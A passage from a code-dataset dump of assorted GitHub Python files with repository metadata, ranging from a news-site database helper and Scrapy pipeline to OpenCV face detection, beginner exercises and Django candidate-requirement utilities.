bbs_post_reply(company_id,tocompany_id,account,title,bbs_post_id,content,is_del,check_status,gmt_created,gmt_modified,postsource,bbs_post_reply_id) values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\"\r\n dbc.updatetodb(sql,value)\r\n sql=\"update bbs_post set reply_time=%s,reply_count=reply_count+1,gmt_modified=%s where id=%s\"\r\n dbc.updatetodb(sql,[gmt_modified,gmt_modified,bbs_post_id])\r\n #再生汇签到客户\r\n def zsh_qiandaolist(self,frompageCount,limitNum,ztype=''):\r\n sql=\"select id,zheng_no,companyname,contact,business,qiandaotime from zsh_list where ztype=%s and isqiandao=1\"\r\n sql=sql+' order by qiandaotime desc limit %s,%s'\r\n result=dbc.fetchalldb(sql,[ztype,frompageCount,limitNum])\r\n listall=[]\r\n if result:\r\n for list in result:\r\n id=list[0]\r\n zheng_no=list[1]\r\n companyname=list[2]\r\n contact=list[3]\r\n business=list[4]\r\n qiandaotime=formattime(list[5],0)\r\n l={'id':id,'zheng_no':zheng_no,'companyname':companyname,'contact':contact,'business':business,'qiandaotime':qiandaotime}\r\n listall.append(l)\r\n return listall\r\n #----新闻列表\r\n def getnewslist(self,keywords=\"\",frompageCount='',limitNum='',typeid=\"\",typeid2=\"\"):\r\n sql='select id,title,pubdate,litpic from dede_archives where id>0'\r\n argument=[]\r\n if typeid:\r\n sql+=\" and typeid=%s\"\r\n argument.append(typeid)\r\n if typeid2:\r\n sql+=\" and typeid2=%s\"\r\n argument.append(typeid2)\r\n sql+=\" order by pubdate desc\"\r\n sql+=\" limit %s,%s\"\r\n argument.append(frompageCount)\r\n argument.append(limitNum)\r\n result=dbn.fetchalldb(sql,argument)\r\n listall_news=[]\r\n for list in result:\r\n id=list[0]\r\n title=list[1]\r\n pubdate=list[2]\r\n content=self.getnewcontent(id)\r\n imglist=self.get_img_url(content)\r\n imgone=None\r\n if imglist:\r\n imgone=imglist[0]\r\n if \"zz91.com\" not in imgone and \"http\" not in imgone:\r\n imgone=imgone.replace(\"uploads/uploads/\",\"\")\r\n imgone=\"http://imgnews.zz91.com\"+imgone\r\n newsurl=self.get_newstype(id=id)\r\n weburl=''\r\n if newsurl:\r\n weburl=\"/\"+newsurl[\"url\"]+\"/\"+str(id)+\".html\"\r\n litcontent=subString(filter_tags(content),500)\r\n list1={'title':title,'litcontent':litcontent,'id':id,'pubdate':int_to_str2(pubdate),'imgone':imgone,'weburl':weburl}\r\n listall_news.append(list1)\r\n return listall_news\r\n #新闻内容\r\n def getnewcontent(self,id,nohtml=''):\r\n sql='select body from dede_addonarticle where aid=%s'\r\n result1=dbn.fetchonedb(sql,id)\r\n if result1:\r\n body=result1[0]\r\n if nohtml:\r\n body=filter_tags(body)\r\n return body\r\n #----获取资讯url\r\n def get_newstype(self,id='',typeid=''):\r\n \r\n if id:\r\n sql='select typeid,typeid2 from dede_archives where id=%s'\r\n result=self.dbn.fetchonedb(sql,[id])\r\n if result:\r\n typeid=result[0]\r\n typeid2=result[1]\r\n else:\r\n typeid2=\"0\"\r\n sql2='select typename,keywords from dede_arctype where id=%s'\r\n result2=self.dbn.fetchonedb(sql2,[typeid])\r\n if result2:\r\n url1=result2[1]\r\n \r\n if url1==\"guonei\":\r\n url1=\"cjxw\"\r\n if url1==\"guoji\":\r\n url1=\"cjxw\"\r\n if url1==\"hangye\":\r\n url1=\"hydt\"\r\n if url1==\"pinlun\":\r\n url1=\"hydt\"\r\n list={'typename':result2[0],'url':url1,'typeid':typeid,'typeid2':typeid2,'url2':'','typename2':''}\r\n if typeid2!='0':\r\n sql3='select keywords,typename from dede_arctype where id=%s'\r\n result3=self.dbn.fetchonedb(sql3,[typeid2])\r\n if result3:\r\n list['url2']=result3[0]\r\n list['typename2']=result3[1]\r\n #cache.set(\"newstype\"+str(id),list,60*60)\r\n return list\r\n #获取内容图片\r\n def get_img_url(self,html):#获得图片url\r\n #html=html.lower()\r\n if html:\r\n html=html.replace(\"data-original=\",\"src=\").replace(\"IMG\",'img').replace(\"SRC\",'src').replace(\"data-src\",\"src\")\r\n re_py3=r''\r\n urls_pat3=re.compile(re_py3)\r\n img_url3=re.findall(urls_pat3,html)\r\n if img_url3:\r\n return img_url3\r\n re_py3=r\"\"\r\n urls_pat3=re.compile(re_py3)\r\n img_url3=re.findall(urls_pat3,html)\r\n if img_url3:\r\n return img_url3\r\n re_py3=r''\r\n urls_pat3=re.compile(re_py3)\r\n img_url3=re.findall(urls_pat3,html)\r\n if img_url3:\r\n return img_url3\r\n ","repo_name":"cash2one/zzpython","sub_path":"zz91subject/zz91subject/zhibo_func.py","file_name":"zhibo_func.py","file_ext":"py","file_size_in_byte":12527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12971323902","text":"#!/usr/bin/python\n\"\"\"\n Misc Helper\n Pretty much the junk drawer of an application.\n Many of these functions could probably be put somewhere else.\n\"\"\"\n\nimport sys\nimport os\nsys.path.append( os.path.join(os.path.dirname(__file__), '..', '') )\nfrom MVC import MVC\nMVC = MVC()\n# End file header\n\nfrom os import path\nimport subprocess\n\nclass HelperMisc( object ):\n\n # Allows, ('.', '-', '_' )\n def slug( self, butterfly ):\n chars_to_remove = [ '!', '@', '#', '$', '%', '^','*',\n '(', ')', '+', '=', '?', ',', ';', '\"', \"'\", \"`\",\n '[', ']', '(', ')', '.']\n chars_to_translate = { '&' : 'and' }\n slug = butterfly.lower()\n slug = slug.replace( ' ', '-' )\n for char in chars_to_remove:\n slug = slug.replace( char, '' )\n for key, trans in chars_to_translate.iteritems():\n slug = slug.replace( key, trans )\n return slug\n\n def gmt_to_mtn( self, gmt_date ):\n subtract_offset_in_hours = 6\n from datetime import date, timedelta\n d = gmt_date - timedelta( hours = subtract_offset_in_hours )\n return d\n\n\n# End File: helpers/HelperMisc.py","repo_name":"politeauthority/good-consumer","sub_path":"includes/helpers/HelperMisc.py","file_name":"HelperMisc.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73595321443","text":"import sys\n\nsys.setrecursionlimit(10**6)\n\ndef dfs(y, x, land):\n dx = [0, 0, 1, -1]\n dy = [-1, 1, 0, 0]\n land[y][x] = 0\n\n for i in range(4):\n if (0 <= y + dy[i] <= len(land) - 1 and 0 <= x + dx[i] <= len(land[y]) - 1):\n if (land[y + dy[i]][x + dx[i]] == 1):\n land[y + dy[i]][x + dx[i]] = 0\n dfs(y + dy[i], x + dx[i], land)\n\n\ntestcases = int(sys.stdin.readline())\n\nfor i in range(testcases):\n M, N, cnt = map(int, sys.stdin.readline().split())\n land = [[0 for a in range(M)] for b in range(N)]\n\n for j in range(cnt):\n x, y = map(int, sys.stdin.readline().split())\n land[y][x] = 1\n \n result = 0\n for y in range(N):\n for x in range(M):\n if (land[y][x] == 1):\n dfs(y, x, land)\n result += 1\n \n print(result)\n","repo_name":"k0000k/algo-log","sub_path":"DFS/1012.py","file_name":"1012.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1210323922","text":"\"\"\"\n생태학 (lev.gold-4)\n- 입력받는 개수가 정해지지 않음\n- 사전순 출력, 백분율(소수점 4째자리까지 반올림)\n\n\"\"\"\nimport collections\nimport sys\ninput = sys.stdin.readline\n\nli = []\nwhile True:\n tree = input().rstrip()\n if not tree:\n break\n li.append(tree)\n\ncount = collections.Counter(li)\ntotal = sum(count.values())\ncount = sorted(count.items(), key=lambda x : x[0]) # -> 리스트\n\nfor k, v in count:\n print('%s %.4f' % (k, v*100/total))","repo_name":"angelatto/Algorithm","sub_path":"BAEKJOON/str_문자열/4358.py","file_name":"4358.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"36167054022","text":"import numpy as np\nimport pandas as pd\nfrom nltk.tokenize import sent_tokenize\nfrom nltk.corpus import wordnet\n# nltk.download('punkt')\n\ndef append_df_to_JSON(file, df):\n json_df = df.to_json(\n # path_or_buf=file_path,\n orient='records',\n lines=True\n )\n with open(file, 'a', encoding='utf8') as f:\n f.write(json_df)\n f.write(\"\\n\")\n\ndef tokenize_sentences(df, target_column, new_column=None, drop_target=False):\n if new_column is None:\n new_column = target_column\n print(\"starting sentence tokenization on\", target_column)\n df[new_column] = df[target_column].apply(sent_tokenize)\n if drop_target:\n df.drop(columns=[target_column], inplace=True)\n df.replace(\"[]\", \"\", inplace=True)\n\ndef drop_short_sents(df, column, num_char):\n df.drop(df[df[column].map(len) < num_char].index, inplace=True)\n\ndef assign_topic(df, column, vectorizer, topic_model):\n vectorized = vectorizer.transform(df[column])\n topic_scores = topic_model.transform(vectorized)\n df['topic'] = np.argmax(topic_scores, axis=1)\n\ndef all_synsets(word, pos=None):\n map = {\n 'NOUN': wordnet.NOUN,\n 'VERB': wordnet.VERB,\n 'ADJ': wordnet.ADJ,\n 'ADV': wordnet.ADV\n }\n if pos is None:\n pos_list = [wordnet.VERB, wordnet.ADJ, wordnet.NOUN, wordnet.ADV]\n else:\n pos_list = [map[pos]]\n ret = []\n for pos in pos_list:\n ret.extend(wordnet.synsets(word, pos=pos))\n return ret\n\ndef clean_senses(synsets):\n return [x for x in set(synsets) if '_' not in x]\n\ndef all_possible_synonyms(word, pos=None):\n ret = []\n for syn in all_synsets(word, pos=pos):\n ret.extend(syn.lemma_names())\n return clean_senses(ret)\n\ndef extend_w_synonyms(words, pos=None):\n synonyms = []\n for word in words:\n synonyms.extend(all_possible_synonyms(word, pos))\n return set(words).union(set(synonyms))\n\ndef recurse_synonyms(words, pos=None):\n num_words = len(words)\n while True:\n words = extend_w_synonyms(words, pos)\n if num_words == len(words):\n break\n num_words = len(words)\n return words","repo_name":"fabriceyhc/biz_sentiment","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"9608441924","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\n\nfrom scrapy.pipelines.images import ImagesPipeline\nfrom .settings import IMAGES_STORE\nimport os\nclass XiaohuaImagePipeline(ImagesPipeline):\n #请求之前的准备带上item以便于file_path传值\n def get_media_requests(self, item, info):\n request_objs=super(XiaohuaImagePipeline,self).get_media_requests(item,info)\n for request_obj in request_objs:\n request_obj.item=item\n return request_objs\n #images/category(各个名字作文文件夹)/image_name.jpg\n def file_path(self, request, response=None, info=None):\n path=super(XiaohuaImagePipeline,self).file_path(request,response,info)\n\n category=request.item.get('name')\n image_store=IMAGES_STORE\n category_path=os.path.join(image_store,category)\n if not category_path:\n os.mkdir(category_path)\n\n image_name=path.replace('full/','')\n image_path=os.path.join(category_path,image_name)\n return image_path\n\n\n\n\n\n\n\n\n\n\nclass XiaohuaPipeline(object):\n def process_item(self, item, spider):\n return item\n","repo_name":"xiaolizixiaolizi/scrapy_xiaohuawang","sub_path":"pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4256162367","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n#\n# Workshop 2.4\n# ------------\n\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\n\nos.chdir(\"/Users/liming/projects/vision/Day2/2_4\")\n\ndef cv2plt(img):\n plt.axis('off')\n if np.size(img.shape) == 3:\n plt.imshow(cv2.cvtColor(img,cv2.COLOR_BGR2RGB))\n else:\n plt.imshow(img,cmap='gray',vmin=0,vmax=255)\n plt.show()\n \n \n \n# a. Read in the image 'ajbp.jpg'. Name the array as 'ajbp'\n#\najbp = cv2.imread('ajbp.jpg')\ncv2plt(ajbp)\n\n\n\n##########\n\n\n# b. Write a function that can detect faces, eyes and smiles with the below signature:\n#\n# def faceDetection(img,scaleFct=1.3,faceNbr=5,eyeNbr=None,smileNbr=None):\n# \n# .....\n# \n# return [img,faces,eyes,smiles]\n#\n# \n# The above function by default detect faces in an image. \n# faceNbr, eyeNbr, smileNbr denote the minNeighbors for face, eye, and smile\n# respectively. When no value is specified for eyeNbr or smileNbr, no detection \n# will be done for eye or smile.\n\n# The returned 'img' shows the detected faces, eyes or smiles.\n# See 'wks2_4_c.jpg' for example.\n\n# The returned 'faces', 'eyes', 'smiles' contain the x, y, w, h\n# of each identified boxes\n\n# The colour of the box for faces: (255,255,255)\n# The colour of the box for eyes: (191,191,191)\n# The colour of the box for smiles: (127,127,127)\n# The line thickness is 2 for all types of boxes\n\ndef faceDetection(img,scaleFct=1.3,faceNbr=5,eyeNbr=None,smileNbr=None):\n img = ajbp\n img_copy = img.copy()\n img_g= cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n \n fce_model = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n eye_model = cv2.CascadeClassifier('haarcascade_eye.xml')\n smile_model = cv2.CascadeClassifier('haarcascade_smile.xml')\n faces = fce_model.detectMultiScale(img_g,\n scaleFactor=scaleFct,\n minNeighbors=faceNbr)\n \n all_eyes = list()\n all_smiles = list()\n \n for (x,y,w,h) in faces:\n cv2.rectangle(img_copy, \n (x, y),\n (x+w, y+h),\n (255,255,255), 2)\n \n face_img_copy = img_copy[y:y+h,x:x+w]\n face_img_g = img_g[y:y+h,x:x+w]\n \n if eyeNbr is not None:\n eyes = eye_model.detectMultiScale(face_img_g,\n scaleFactor=scaleFct,\n minNeighbors=eyeNbr)\n for (px,py,pw,ph) in eyes:\n cv2.rectangle(face_img_copy,(px,py),(px+pw,py+ph),(191,191,191),2)\n all_eyes = eyes\n \n \n if smileNbr is not None:\n smiles = smile_model.detectMultiScale(face_img_g,\n scaleFactor=scaleFct,\n minNeighbors=smileNbr)\n for (px,py,pw,ph) in smiles:\n cv2.rectangle(face_img_copy,(px,py),(px+pw,py+ph),(127,127,127),2)\n all_smiles = smiles\n \n return [img_copy,faces,all_eyes,all_smiles]\n##########\n\n\n# c. Perform the detection of faces, eyes and faces on\n# ajbp.jpg\n \ncv2plt(faceDetection(ajbp, eyeNbr=20, smileNbr=30)[0])\n\n","repo_name":"mingsqtt/vision","sub_path":"Day2/2_4/wks2_4 - Li Ming.py","file_name":"wks2_4 - Li Ming.py","file_ext":"py","file_size_in_byte":3289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26171223903","text":"# Напишите программу, которая принимает на вход вещественное число и\n# показывает сумму его цифр. Пример:\n# - 6782 -> 23\n# - 0,56 -> 11\n\n\ndef user_input(message):\n '''пользовательский ввод'''\n string = None\n while not string:\n string = input(f'{message}')\n return string\n\n\ndef sum_of_digits_in_number(number):\n '''расчет суммы цифр в числе'''\n ZERRO_DIGIT = 0\n sum_of_digits = ZERRO_DIGIT\n for digit in number:\n sum_of_digits += int(digit) if digit.isdigit() else ZERRO_DIGIT\n return sum_of_digits\n\n\nMESSAGE_FOR_USER = 'Please enter a real number -> '\nstring = user_input(f'{MESSAGE_FOR_USER}')\nsum_of_digits = sum_of_digits_in_number(string)\nprint(f'{sum_of_digits}')\n","repo_name":"igor531205/Python_home_work","sub_path":"Lesson2/Task1.py","file_name":"Task1.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8338264397","text":"from time import sleep\n\n#Aula N°22\n\nprint(\"Aula N°22 \\n\")\nsleep(0.2)\n\ntry:\n n1 = int(input('N1: '))\n n2 = int(input('N2: '))\n r = n1 / n2\nexcept (ValueError, TypeError):\n print('Tivemos um erro com os valores digitados')\nexcept ZeroDivisionError:\n print('Não é possivel dividir por zero')\nexcept KeyboardInterrupt:\n print('\\n O usuario parou o programa')\nexcept Exception as erro:\n print(f'O erro encontrado foi {erro.__cause__}')\nelse:\n print(f'O resultado é {r}')\nfinally:\n print('\\nTenha um bom dia')\n\n","repo_name":"henriquekirchheck/Curso-em-Video-Python","sub_path":"aula/aula022.py","file_name":"aula022.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"38343777874","text":"import re\n\nusd = 'USD'\neur = 'EUR'\nchf = 'CHF'\ngpb = 'GPB'\ncny = 'CNY'\n\ndef cyrren_f(k_usd, us):\n while True:\n a = input('Введите сумму')\n comp = re.compile('-')\n m = comp.match(a)\n if m:\n print('вы ввели отрицательное число')\n continue\n elif len(a) == 0:\n print('Вы ничего не ввели')\n continue\n elif not a.isnumeric():\n print('это не число, можно число, плеаз?')\n continue\n elif int(a) >= 0:\n print('Вы ввели сумму ', a, 'и валюту ', us)\n for k, v in k_usd.items():\n r = int(a) * v\n print('конвертированная сумма в ', k, ' = ', round(r, 2))\n break\n\n\n","repo_name":"Ne4kov/HomeWork_Python","sub_path":"Cyrrency/Cyrr_def.py","file_name":"Cyrr_def.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2093249042","text":"\"\"\"\n=====================\nMarker filling-styles\n=====================\n\nReference for marker fill-styles included with Matplotlib.\n\nAlso refer to the\n:doc:`/gallery/lines_bars_and_markers/marker_fillstyle_reference`\nand :doc:`/gallery/shapes_and_collections/marker_path` examples.\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.lines import Line2D\n\n\npoints = np.ones(5) # Draw 5 points for each line\nmarker_style = dict(color='tab:blue', linestyle=':', marker='o',\n markersize=15, markerfacecoloralt='tab:red')\n\nfig, ax = plt.subplots()\n\n# Plot all fill styles.\nfor y, fill_style in enumerate(Line2D.fillStyles):\n ax.text(-0.5, y, repr(fill_style),\n horizontalalignment='center', verticalalignment='center')\n ax.plot(y * points, fillstyle=fill_style, **marker_style)\n\nax.set_axis_off()\nax.set_title('fill style')\n\nplt.show()\n","repo_name":"zzu-andrew/linux-sys","sub_path":"Matplotlib/lines_bars_and_markers/marker_fillstyle_reference.py","file_name":"marker_fillstyle_reference.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"54"} +{"seq_id":"39131479749","text":"def mddshift_callbacks(app):\n\n # create and update copy of mdd used for quicker graphing and data analysis\n @app.callback(\n [Output('mddshift', 'data'),\n Output('metashift', 'data')],\n [Input('shift_confirm', 'n_clicks')],\n [State('mdd', 'data'),\n State('metadata', 'data'),\n State('ind_var', 'value'),\n State('shift_view', 'layout'),\n State({'type': 'shift_start', 'index': ALL}, 'value'),\n State({'type': 'shift_stop', 'index': ALL}, 'value'),\n State({'type': 'metavals', 'index': ALL}, 'data')]\n )\n def create_mddshift(\n shift_confirm,\n mdd, meta, label, \n layout, start, stop, validval\n ):\n\n #create shifted view of mdd without modifying data\n return util.shift_mdd(\n meta, \n label, \n mdd, \n validval, \n start, \n stop, \n layout\n )\n ","repo_name":"lwang94/MDD","sub_path":"app_callbacks/callbacks_mddshift.py","file_name":"callbacks_mddshift.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19608788609","text":"import cv2 as cv\n\n# Certificate class\nclass Certificate:\n\n # Constructor\n def __init__(self, firstName, lastName, filePath):\n self.name = firstName + \" \" + lastName\n self.firstName = firstName\n self.lastName = lastName\n self.filePath = filePath\n \n # Generate certificate\n def generateCertificate(self):\n \n # get certificate template image from file path\n img = cv.imread('your_certificate.png')\n \n # set x and y coordinates for text\n x_cord = 15\n y_cord = 70\n\n # set font size, color, and type\n fontSize = 3\n fontColor = (0,0,0)\n font = cv.FONT_HERSHEY_SCRIPT_COMPLEX\n\n # get text size\n textSize = cv.getTextSize(self.name, font, fontSize, 5)[0]\n\n # set text x and y coordinates\n text_x = (img.shape[1] - textSize[0]) / 2 + x_cord \n text_y = (img.shape[0] + textSize[1]) / 2 - y_cord\n text_x = int(text_x)\n text_y = int(text_y)\n\n # put text on image\n cv.putText(img, self.name,\n (text_x ,text_y ), \n font,\n fontSize,\n fontColor, 5)\n \n # Output path along with the name of the\n # certificate generated\n certiPath = self.filePath + '/certificate-' + self.firstName.lower() + \"-\" + self.lastName.lower() + '.png'\n \n # Save the certificate \n cv.imwrite(certiPath,img)","repo_name":"ethan-trac/Document-Helper","sub_path":"certificate.py","file_name":"certificate.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"17275775825","text":"from functools import wraps\nfrom flask import redirect, url_for\nfrom flask_login import current_user\n\n\ndef login_user_required(f):\n @wraps(f)\n def decorated_function(*args, **kwargs):\n if not current_user.is_authenticated:\n return redirect(url_for('login_usr'))\n\n return f(*args, **kwargs)\n\n return decorated_function","repo_name":"namnh2408/CongNghePhanMem","sub_path":"cnpmProject/bookStore/decorator.py","file_name":"decorator.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"36725788540","text":"from django.conf import settings\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.shortcuts import reverse\nfrom django.template.loader import render_to_string\nfrom django.db.models import Q\n\nimport itertools\nfrom typing import Union\n\nfrom hknweb.utils import get_rand_photo, get_semester_bounds\n\nfrom ..events.models import Event, EventType\nfrom .models import RequirementMergeRequirement\n\nfrom .constants import REQUIREMENT_TITLES_TEMPLATE, REQUIREMENT_TITLES_ALL\n\nMANDATORY = \"Mandatory\"\n\ndef send_challenge_confirm_email(request, challenge, confirmed):\n subject = '[HKN] Your officer challenge was reviewed'\n candidate_email = challenge.requester.email\n\n challenge_link = request.build_absolute_uri(\n reverse(\"candidate:detail\", kwargs={ 'pk': challenge.id }))\n html_content = render_to_string(\n 'candidate/challenge_confirm_email.html',\n {\n 'subject': subject,\n 'confirmed': confirmed,\n 'officer_name': challenge.officer.get_full_name(),\n 'officer_username': challenge.officer.username,\n 'challenge_link': challenge_link,\n 'img_link': get_rand_photo(),\n }\n )\n msg = EmailMultiAlternatives(subject, subject,\n settings.NO_REPLY_EMAIL, [candidate_email])\n msg.attach_alternative(html_content, \"text/html\")\n msg.send()\n\ndef send_bitbyte_confirm_email(request, bitbyte, confirmed):\n subject = '[HKN] Your bit-byte request was reviewed'\n participant_emails = [part.email for part in bitbyte.participants.all()]\n\n bitbyte_link = request.build_absolute_uri(\n reverse(\"candidate:bitbyte\"))\n html_content = render_to_string(\n 'candidate/bitbyte_confirm_email.html',\n {\n 'subject': subject,\n 'confirmed': confirmed,\n 'participants': bitbyte.participants.all(),\n 'bitbyte_link': bitbyte_link,\n 'img_link': get_rand_photo(),\n }\n )\n msg = EmailMultiAlternatives(subject, subject,\n settings.NO_REPLY_EMAIL, participant_emails)\n msg.attach_alternative(html_content, \"text/html\")\n msg.send()\n\n\n\"\"\" What the event types are called on admin site.\n Code will not work if they're called something else!! \"\"\"\n# map_event_vars = {\n# settings.MANDATORY_EVENT: 'Mandatory',\n# settings.FUN_EVENT: 'Fun',\n# settings.BIG_FUN_EVENT: 'Big Fun',\n# settings.SERV_EVENT: 'Serv',\n# settings.PRODEV_EVENT: 'Prodev',\n# settings.HANGOUT_EVENT: 'Hangout',\n# settings.BITBYTE_ACTIVITY: \"Bit-Byte\",\n# }\n\n# Done: support more flexible typing and string-to-var parsing/conversion\ndef sort_rsvps_into_events(rsvps, required_events):\n \"\"\" Takes in all confirmed rsvps and sorts them into types. \"\"\"\n # Events in admin are currently in a readable format, must convert them to callable keys for Django template\n # sorted_events = dict.fromkeys(map_event_vars.keys())\n sorted_events = {}\n for event_type in required_events:\n temp = []\n event_time_range = required_events[event_type]\n query = Q(event__event_type__type=event_type)\n if (event_time_range is not None):\n if (event_time_range[\"eventsDateStart\"] is not None):\n query = query & Q(event__start_time__gt=event_time_range[\"eventsDateStart\"])\n if (event_time_range[\"eventsDateEnd\"] is not None):\n query = query & Q(event__end_time__lt=event_time_range[\"eventsDateEnd\"])\n for rsvp in rsvps.filter(query):\n temp.append(rsvp.event)\n sorted_events[event_type] = temp\n return sorted_events\n\ndef get_events(rsvps, date, required_events, candidateSemester, requirement_mandatory, confirmed):\n event_models = rsvps.filter(confirmed=confirmed)\n events = sort_rsvps_into_events(event_models, required_events)\n\n # We want to show all mandatory events, not just the events the candidate has RSVP'd to\n # Get all mandatory events i.e. events with event type \"Mandatory\"\n if candidateSemester and requirement_mandatory:\n mandatory_events = requirement_mandatory.events.all()\n if requirement_mandatory.eventsDateStart and requirement_mandatory.eventsDateEnd:\n mandatory_events = itertools.chain(mandatory_events, \\\n Event.objects.filter(\n event_type__type=MANDATORY,\n start_time__gt=requirement_mandatory.eventsDateStart,\n end_time__lt=requirement_mandatory.eventsDateEnd,\n )\n )\n else:\n curr_sem_start, curr_sem_end = get_semester_bounds(date)\n mandatory_events = Event.objects.filter(\n event_type__type=MANDATORY,\n start_time__gt=curr_sem_start,\n end_time__lt=curr_sem_end,\n )\n\n # Initialize events[MANDATORY] if hasn't\n if MANDATORY not in events:\n events[MANDATORY] = []\n \n # Can assume Mandatory Events where user RSVPed to is SEPARATE from those that they don't RSVP to\n if not confirmed:\n # Only add the non-rsvped Mandatory events to the Not Confirmed list\n mandatorySet = {}\n for mandatory_event in mandatory_events:\n # If no rsvps are found, add this mandatory event to the list of unconfirmed events\n if rsvps.filter(event__id=mandatory_event.id).count() == 0:\n mandatorySet[mandatory_event.id] = mandatory_event\n events[MANDATORY].extend(mandatorySet.values())\n \n events[MANDATORY].sort(key=lambda x: x.start_time)\n\n return events\n\n# Done: increase flexibility by fetching event requirement count from database\n# req_list = {\n# settings.MANDATORY_EVENT: 3,\n# settings.FUN_EVENT: 3,\n# settings.BIG_FUN_EVENT: 1,\n# settings.SERV_EVENT: 1,\n# settings.PRODEV_EVENT: 1,\n# settings.HANGOUT_EVENT: {\n# settings.HANGOUT_ATTRIBUTE_NAME: 2,\n# settings.CHALLENGE_ATTRIBUTE_NAME: 1,\n# settings.EITHER_ATTRIBUTE_NAME: 3,\n# },\n# settings.BITBYTE_ACTIVITY: 3,\n# }\n\ndef check_requirements(confirmed_events, unconfirmed_events, num_challenges, \\\n num_bitbytes, req_list):\n \"\"\" Checks which requirements have been fulfilled by a candidate. \"\"\"\n req_statuses = dict.fromkeys(req_list.keys(), False)\n req_remaining = {**req_list} # Makes deep copy of \"req_list\"\n\n for req_type, minimum in req_list.items():\n num_confirmed = 0\n if req_type == settings.BITBYTE_ACTIVITY:\n num_confirmed = num_bitbytes\n elif req_type in confirmed_events:\n num_confirmed = len(confirmed_events[req_type])\n # officer hangouts and mandatory events are special cases\n if req_type == settings.HANGOUT_EVENT:\n interactivities = {\n settings.HANGOUT_ATTRIBUTE_NAME: num_confirmed,\n settings.CHALLENGE_ATTRIBUTE_NAME: num_challenges,\n settings.EITHER_ATTRIBUTE_NAME: num_confirmed + num_challenges,\n }\n req_statuses[req_type], req_remaining[req_type] = check_interactivity_requirements(interactivities, req_list[settings.HANGOUT_EVENT])\n elif ((minimum < 0) or (minimum is None)): #settings.MANDATORY_EVENT:\n req_remaining[req_type] = len(unconfirmed_events[req_type]) #len(unconfirmed_events[settings.MANDATORY_EVENT])\n req_statuses[req_type] = req_remaining[req_type] == 0\n else:\n req_statuses[req_type] = num_confirmed >= minimum\n req_remaining[req_type]= max(minimum - num_confirmed, 0)\n\n return req_statuses, req_remaining\n\n# INTERACTIVITY_REQUIREMENTS = req_list[settings.HANGOUT_EVENT]\nINTERACTIVITY_NAMES = {\n settings.EITHER_ATTRIBUTE_NAME: \"Interactivities\",\n settings.HANGOUT_ATTRIBUTE_NAME: \"Officer Hangouts\",\n settings.CHALLENGE_ATTRIBUTE_NAME: \"Officer Challenges\",\n}\n\ndef check_interactivity_requirements(interactivities, interactivity_requirements):\n \"\"\" Returns whether officer interactivities are satisfied. \"\"\"\n req_remaining = {}\n for req_type, num_required in interactivity_requirements.items():\n req_remaining[req_type] = max(num_required - interactivities[req_type], 0)\n\n req_status = not any(req_remaining.values())\n\n return req_status, req_remaining\n\n\ndef create_title(req_type: str, req_remaining: Union[dict, int], name: str, num_required: int, num_required_hangouts: dict) -> str:\n if type(num_required) == int and (num_required < 0 or (num_required is None)): #settings.MANDATORY_EVENT:\n return REQUIREMENT_TITLES_ALL.format(name=name)\n elif req_type == settings.HANGOUT_EVENT:\n return {name: create_title(name, req_remaining[name], INTERACTIVITY_NAMES[name], num_required_hangouts[name], None) for name in num_required_hangouts}\n else:\n return REQUIREMENT_TITLES_TEMPLATE.format(\n name=name,\n num_required=num_required,\n num_remaining=req_remaining,\n )\n\n\ndef get_requirement_colors(required_events, \\\n color_source=lambda view_key:EventType.objects.get(type=view_key),\n get_key=lambda x:x) -> dict:\n req_colors = {}\n for event in required_events:\n view_key = get_key(event)\n event_type = color_source(event)\n if event_type:\n req_colors[view_key] = event_type.color\n else:\n req_colors[view_key] = \"grey\"\n \n return req_colors\n\nclass MergedEvents():\n def __init__(self, merger_node: RequirementMergeRequirement, candidateSemester, seen_merger_nodes=set()):\n assert merger_node.enable, \"The first Merger Node must be enabled\"\n \n seen_merger_nodes.clear()\n current_merger_node = merger_node\n \n self.multiplier_event = {}\n self.all_required = False\n self.color = merger_node.color\n self.title = \"\"\n if merger_node.enableTitle:\n self.title = 